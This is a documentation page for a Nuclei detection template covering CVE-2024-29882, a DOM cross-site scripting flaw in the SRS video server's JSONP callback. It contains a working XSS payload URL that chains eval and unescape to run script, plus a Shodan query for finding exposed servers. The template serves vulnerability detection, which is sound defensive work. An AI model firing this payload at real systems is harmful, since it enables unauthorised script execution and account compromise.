Skip to content
Nuclei Templates

HTTP API DOM - XSS on JSONP callback

ID: CVE-2024-29882

Severity: high

Author: rootxharsh,iamnoooob,pdresearch

Tags: cve,cve2023,srs,dom,xss

Description

Section titled “Description”

SRS is a simple, high-efficiency, real-time video server. SRS’s /api/v1/vhosts/vid-<id>?callback=<payload> endpoint didn’t filter the callback function name which led to injecting malicious javascript payloads and executing XSS ( Cross-Site Scripting). This vulnerability is fixed in 5.0.210 and 6.0.121.

YAML Source

Section titled “YAML Source”
id: CVE-2024-29882


info:
  name: HTTP API DOM - XSS on JSONP callback
  author: rootxharsh,iamnoooob,pdresearch
  severity: high
  description: |
    SRS is a simple, high-efficiency, real-time video server. SRS's `/api/v1/vhosts/vid-<id>?callback=<payload>` endpoint didn't filter the callback function name which led to injecting malicious javascript payloads and executing XSS ( Cross-Site Scripting). This vulnerability is fixed in 5.0.210 and 6.0.121.
  reference:
    - https://github.com/ossrs/srs/commit/244ce7bc013a0b805274a65132a2980680ba6b9d
    - https://github.com/ossrs/srs/security/advisories/GHSA-gv9r-qcjc-5hj7
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2024-29882
    cwe-id: CWE-79
    epss-score: 0.00043
    epss-percentile: 0.09568
  metadata:
    verified: true
    max-request: 1
    vendor: ossrs
    product: simple_realtime_server
    shodan-query: http.favicon.hash:1386054408
  tags: cve,cve2023,srs,dom,xss


headless:
  - steps:
      - args:
          url: '{{BaseURL}}/console/en_index.html?alert(document.domain)#/vhosts/vid-xsedfv%3Fcallback=eval(unescape(location.search.slice(1)))%252f%252f'
        action: navigate


      - action: waitdialog
        name: object_dom


    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - object_dom == true


      - type: word
        part: body
        words:
          - "<title>SRS"
          - "ConnectSRS</a>"
        condition: or
        case-insensitive: true
# digest: 4a0a00473045022100910e5ce652f76d349702c7adc5d5b6b479e14b984978fa2f86a47498f11167d2022000daa49aed583b6da8b47060d9389e38c4d7046e2304d059377360d1d199f89e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "headless/cves/2024/CVE-2024-29882.yaml"

View on Github